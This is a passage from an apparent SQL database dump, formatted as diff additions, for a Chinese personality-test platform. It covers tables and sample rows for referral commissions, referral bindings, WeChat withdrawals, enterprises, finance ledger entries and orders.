1773040163, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 85, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (3, 6, NULL, 0.00, 1.00, 'paid', 1773043973, 1773043973, 1773043973, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 87, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (4, 6, NULL, 0.00, 1.00, 'paid', 1773044496, 1773044496, 1773044496, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 88, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (5, 6, NULL, 0.00, 1.00, 'paid', 1773047081, 1773047081, 1773047081, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 89, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (6, 6, NULL, 0.00, 1.00, 'paid', 1773047135, 1773047135, 1773047135, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 90, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (7, 6, NULL, 0.00, 1.00, 'paid', 1773047512, 1773047512, 1773047512, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 92, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (8, 6, NULL, 0.00, 1.00, 'paid', 1773109282, 1773109282, 1773109282, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 93, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (9, 6, NULL, 0.00, 1.00, 'paid', 1773109762, 1773109762, 1773109762, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 94, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (10, 6, NULL, 0.00, 1.00, 'paid', 1773131848, 1773131848, 1773131848, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 102, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (11, 6, NULL, 0.00, 1.00, 'paid', 1773132145, 1773132145, 1773132145, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 103, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (12, 6, NULL, 0.00, 1.00, 'paid', 1773132630, 1773132630, 1773132630, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 104, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (13, 6, NULL, 0.00, 1.00, 'paid', 1773197745, 1773197745, 1773197745, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 108, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (14, 6, NULL, 0.00, 1.00, 'paid', 1773214232, 1773214232, 1773214232, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 109, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (15, 6, NULL, 0.00, 1.00, 'paid', 1773214528, 1773214528, 1773214528, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 110, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (16, 6, NULL, 0.00, 1.00, 'paid', 1773216370, 1773216370, 1773216370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 112, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (17, 6, NULL, 0.00, 1.00, 'paid', 1773216422, 1773216422, 1773216422, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 113, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (18, 12, NULL, 0.00, 0.01, 'paid', 1773218013, 1773218013, 1773218013, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 114, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (19, 12, NULL, 0.00, 0.01, 'paid', 1773218078, 1773218078, 1773218078, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 115, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (20, 12, NULL, 0.00, 0.01, 'paid', 1773218176, 1773218176, 1773218176, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 116, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (21, 6, NULL, 0.00, 1.00, 'paid', 1773218291, 1773218291, 1773218291, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 117, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (22, 12, NULL, 0.00, 0.01, 'paid', 1773218860, 1773218860, 1773218860, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 118, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (23, 6, NULL, 0.00, 1.00, 'paid', 1773219018, 1773219018, 1773219018, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 119, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (24, 12, NULL, 0.00, 0.01, 'paid', 1773219347, 1773219347, 1773219347, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 120, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (25, 12, NULL, 0.00, 0.01, 'paid', 1773219366, 1773219366, 1773219366, 'personal', NULL, 12, 31, 7, 0, 1, NULL, NULL, 121, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (26, 6, NULL, 0.00, 1.00, 'paid', 1773219370, 1773219370, 1773219370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 122, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (27, 12, NULL, 0.00, 0.01, 'paid', 1773222595, 1773222595, 1773222595, 'personal', NULL, 12, 32, 8, 0, 1, NULL, NULL, 123, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (28, 12, NULL, 0.00, 0.01, 'paid', 1773227480, 1773227480, 1773227480, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 124, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (29, 34, NULL, 0.00, 0.01, 'paid', 1773227875, 1773227875, 1773227875, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 125, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (30, 12, NULL, 0.00, 0.01, 'paid', 1773228411, 1773228411, 1773228411, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 128, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (31, 12, NULL, 0.00, 0.01, 'paid', 1773228469, 1773228469, 1773228469, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 129, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (32, 34, NULL, 0.00, 0.01, 'paid', 1773228478, 1773228478, 1773228478, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 130, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (33, 12, NULL, 0.00, 0.01, 'paid', 1773228716, 1773228716, 1773228716, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 131, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (34, 34, NULL, 0.00, 0.01, 'paid', 1773228717, 1773228717, 1773228717, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 132, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (35, 12, NULL, 0.00, 0.01, 'paid', 1773228789, 1773228789, 1773228789, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 133, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (36, 12, NULL, 0.00, 0.01, 'paid', 1773228837, 1773228837, 1773228837, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 134, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (37, 12, NULL, 0.00, 0.01, 'paid', 1773229546, 1773229546, 1773229546, 'personal', NULL, 12, 36, 11, 0, 1, NULL, NULL, 135, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (38, 6, NULL, 0.00, 1.00, 'paid', 1773279222, 1773279222, 1773279222, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 138, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (39, 6, NULL, 0.00, 1.00, 'paid', 1773279937, 1773279937, 1773279937, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 139, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (40, 6, NULL, 0.00, 1.00, 'paid', 1773279975, 1773279975, 1773279975, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 140, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (41, 6, NULL, 0.00, 1.00, 'paid', 1773280023, 1773280023, 1773280023, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 141, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (42, 6, NULL, 0.00, 1.00, 'paid', 1773280177, 1773280177, 1773280177, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 142, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (43, 6, NULL, 0.00, 1.00, 'paid', 1773280251, 1773280251, 1773280251, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 143, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (44, 6, NULL, 0.00, 1.00, 'paid', 1773285873, 1773285873, 1773285873, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 144, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (45, 6, NULL, 0.00, 1.00, 'paid', 1773286899, 1773286899, 1773286899, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 145, 'test_completion'); + +-- ---------------------------- +-- Table structure for mbti_distribution_agents +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_agents`; +CREATE TABLE `mbti_distribution_agents` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', + `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', + `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_bindings +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_bindings`; +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE, + INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, + INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, + INDEX `idx_expireAt`(`expireAt`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_distribution_bindings +-- ---------------------------- +INSERT INTO `mbti_distribution_bindings` VALUES (1, 6, 1, 'personal', 6, 1775273468, 'active', NULL, NULL, 1772681468, 1772681468); +INSERT INTO `mbti_distribution_bindings` VALUES (2, 6, 1, 'personal', NULL, 1775629026, 'active', NULL, NULL, 1773025578, 1773037026); +INSERT INTO `mbti_distribution_bindings` VALUES (3, 24, 12, 'personal', NULL, 1775653348, 'active', NULL, NULL, 1773061348, 1773061348); +INSERT INTO `mbti_distribution_bindings` VALUES (4, 12, 27, 'personal', NULL, 1775809886, 'active', NULL, NULL, 1773217886, 1773217886); +INSERT INTO `mbti_distribution_bindings` VALUES (5, 12, 28, 'personal', NULL, 1775809917, 'active', NULL, NULL, 1773217917, 1773217917); +INSERT INTO `mbti_distribution_bindings` VALUES (6, 12, 29, 'personal', NULL, 1775811258, 'active', NULL, NULL, 1773218797, 1773219258); +INSERT INTO `mbti_distribution_bindings` VALUES (7, 12, 31, 'personal', NULL, 1775811310, 'active', NULL, NULL, 1773219310, 1773219310); +INSERT INTO `mbti_distribution_bindings` VALUES (8, 12, 32, 'personal', NULL, 1775814524, 'active', NULL, NULL, 1773222524, 1773222524); +INSERT INTO `mbti_distribution_bindings` VALUES (9, 12, 33, 'personal', NULL, 1775820674, 'active', NULL, NULL, 1773227436, 1773228674); +INSERT INTO `mbti_distribution_bindings` VALUES (10, 34, 35, 'personal', NULL, 1775819750, 'active', NULL, NULL, 1773227750, 1773227750); +INSERT INTO `mbti_distribution_bindings` VALUES (11, 12, 36, 'personal', NULL, 1775821479, 'active', NULL, NULL, 1773229479, 1773229479); + +-- ---------------------------- +-- Table structure for mbti_distribution_withdrawals +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', + `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0审核中,1已驳回,2待收款,3已收款,4已过期', + `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', + `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', + `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', + `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', + `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', + `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', + `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, + INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_distribution_withdrawals +-- ---------------------------- +INSERT INTO `mbti_distribution_withdrawals` VALUES (1, 1, 100, 0, NULL, 0, NULL, NULL, NULL, 1773288337, 1773288337, 'wechat', NULL, NULL, NULL, '1005', NULL, NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (2, 1, 500, 0, NULL, 1, '资料不完整', 1773298296, NULL, 1773295496, 1773298296, 'wechat', NULL, NULL, 'FAIL', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (3, 1, 1200, 0, NULL, 4, '超时未确认收款', 1773298593, NULL, 1773298579, 1773298593, 'wechat', 'TX202603121600000003', '1330000114850082603120000000000003', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (4, 1, 100, 0, NULL, 2, NULL, 1773303989, NULL, 1773298605, 1773303989, 'wechat', 'TX2026031216262934524', '1330000114850082603120066922420635', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (5, 1, 300, 0, NULL, 3, NULL, 1773304691, 1773304699, 1773304687, 1773304699, 'wechat', 'TX2026031216381141445', '1330000114850082603120092315376583', 'SUCCESS', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (6, 1, 100, 0, NULL, 2, NULL, 1773304830, NULL, 1773304826, 1773304830, 'wechat', 'TX2026031216403070486', '1330000114850082603120032556470199', 'WAIT_USER_CONFIRM', '1005', '1318592501', 'ABBQO+oYAAABAAAAAADBguuPky1AJvR8/3uyaRAAAADnGpepZahT9IkJjn90+1qgn4+p5lA8HVsWJ6K15wGB4z4GGToX0vW7d4gtrpRhn/W4mUaTV+62hOw+Ts5po3kL/Sa/cGuVBIY0Zqi/L+oS9v+k3pU='); + +-- ---------------------------- +-- Table structure for mbti_enterprises +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprises`; +CREATE TABLE `mbti_enterprises` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', + `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', + `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `balance` int(11) NULL DEFAULT 0 COMMENT '余额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'operating' COMMENT '状态:operating运营中/trial试用/disabled已停用', + `trialExpireAt` int(11) NULL DEFAULT NULL COMMENT '试用到期时间(时间戳,仅当status为trial时有效)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_code`(`code`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_enterprises +-- ---------------------------- +INSERT INTO `mbti_enterprises` VALUES (5, '存客宝', '3213213424234234', '存客宝', '18888888888', 'ckb@qq.com', 100000, 'operating', NULL, NULL, 1770878340, 1770879288); +INSERT INTO `mbti_enterprises` VALUES (6, '测试', '', '测试', '', '', 97507, 'operating', NULL, NULL, 1772174277, 1773286899); + +-- ---------------------------- +-- Table structure for mbti_finance_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_finance_records`; +CREATE TABLE `mbti_finance_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '类型:recharge/consume/refund', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)', + `description` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '描述', + `orderId` int(11) NULL DEFAULT NULL COMMENT '关联订单ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 31 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '财务记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_finance_records +-- ---------------------------- +INSERT INTO `mbti_finance_records` VALUES (1, 6, 'recharge', 100, 100000, 100100, '企业后台充值', NULL, 1773042479); +INSERT INTO `mbti_finance_records` VALUES (2, 6, 'recharge', 2, 100100, 100102, '企业余额充值', 78, 1773043904); +INSERT INTO `mbti_finance_records` VALUES (3, 6, 'consume', 100, 100102, 100002, '佣金支出:测试完成分销', NULL, 1773043973); +INSERT INTO `mbti_finance_records` VALUES (4, 6, 'consume', 100, 100002, 99902, '佣金支出:用户wong测试DISC完成分销', NULL, 1773044496); +INSERT INTO `mbti_finance_records` VALUES (5, 6, 'consume', 100, 99902, 99802, '佣金支出:用户wong测试MBTI完成分销', NULL, 1773047081); +INSERT INTO `mbti_finance_records` VALUES (6, 6, 'consume', 100, 99802, 99702, '佣金支出:用户wong测试PDP完成分销', NULL, 1773047135); +INSERT INTO `mbti_finance_records` VALUES (7, 6, 'consume', 100, 99702, 99602, '佣金支出:用户wong测试人脸完成分销', NULL, 1773047512); +INSERT INTO `mbti_finance_records` VALUES (8, 6, 'recharge', 5, 99602, 99607, '企业余额充值', 79, 1773048748); +INSERT INTO `mbti_finance_records` VALUES (9, 6, 'consume', 100, 99607, 99507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109282); +INSERT INTO `mbti_finance_records` VALUES (10, 6, 'consume', 100, 99507, 99407, '佣金支出:用户wong测试人脸完成分销', NULL, 1773109762); +INSERT INTO `mbti_finance_records` VALUES (11, 6, 'consume', 100, 99407, 99307, '佣金支出:用户wong测试DISC完成分销', NULL, 1773131848); +INSERT INTO `mbti_finance_records` VALUES (12, 6, 'consume', 100, 99307, 99207, '佣金支出:用户wong测试DISC完成分销', NULL, 1773132145); +INSERT INTO `mbti_finance_records` VALUES (13, 6, 'consume', 100, 99207, 99107, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773132630); +INSERT INTO `mbti_finance_records` VALUES (14, 6, 'consume', 100, 99107, 99007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773197745); +INSERT INTO `mbti_finance_records` VALUES (15, 6, 'consume', 100, 99007, 98907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214232); +INSERT INTO `mbti_finance_records` VALUES (16, 6, 'consume', 100, 98907, 98807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214528); +INSERT INTO `mbti_finance_records` VALUES (18, 6, 'consume', 100, 98807, 98707, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216370); +INSERT INTO `mbti_finance_records` VALUES (19, 6, 'consume', 100, 98707, 98607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216422); +INSERT INTO `mbti_finance_records` VALUES (20, 6, 'consume', 100, 98607, 98507, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773218291); +INSERT INTO `mbti_finance_records` VALUES (21, 6, 'consume', 100, 98507, 98407, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219018); +INSERT INTO `mbti_finance_records` VALUES (22, 6, 'consume', 100, 98407, 98307, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219370); +INSERT INTO `mbti_finance_records` VALUES (23, 6, 'consume', 100, 98307, 98207, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773279222); +INSERT INTO `mbti_finance_records` VALUES (24, 6, 'consume', 100, 98207, 98107, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279937); +INSERT INTO `mbti_finance_records` VALUES (25, 6, 'consume', 100, 98107, 98007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279975); +INSERT INTO `mbti_finance_records` VALUES (26, 6, 'consume', 100, 98007, 97907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280023); +INSERT INTO `mbti_finance_records` VALUES (27, 6, 'consume', 100, 97907, 97807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280177); +INSERT INTO `mbti_finance_records` VALUES (28, 6, 'consume', 100, 97807, 97707, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773280251); +INSERT INTO `mbti_finance_records` VALUES (29, 6, 'consume', 100, 97707, 97607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773285873); +INSERT INTO `mbti_finance_records` VALUES (30, 6, 'consume', 100, 97607, 97507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773286899); + +-- ---------------------------- +-- Table structure for mbti_orders +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_orders`; +CREATE TABLE `mbti_orders` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID', + `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号', + `userId` int(11) NOT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report', + `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)', + `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled', + `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式', + `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_productType`(`productType`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_orders +-- ---------------------------- +INSERT INTO `mbti_orders` VALUES (1, 'PRICING_FACE_1772089133925_w3vbrw21y', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772089134, 1772089134); +INSERT INTO `mbti_orders` VALUES (2, 'PRICING_FACE_1772090075546_356dgx1p5', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090076, 1772090076); +INSERT INTO `mbti_orders` VALUES (3, 'PRICING_FACE_1772090114882_0ls0o4pi7', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090115, 1772090115); +INSERT INTO `mbti_orders` VALUES (4, 'PRICING_FACE_1772090190409_iqmo3j1pe', 1, NULL, 'face', NULL, 100, 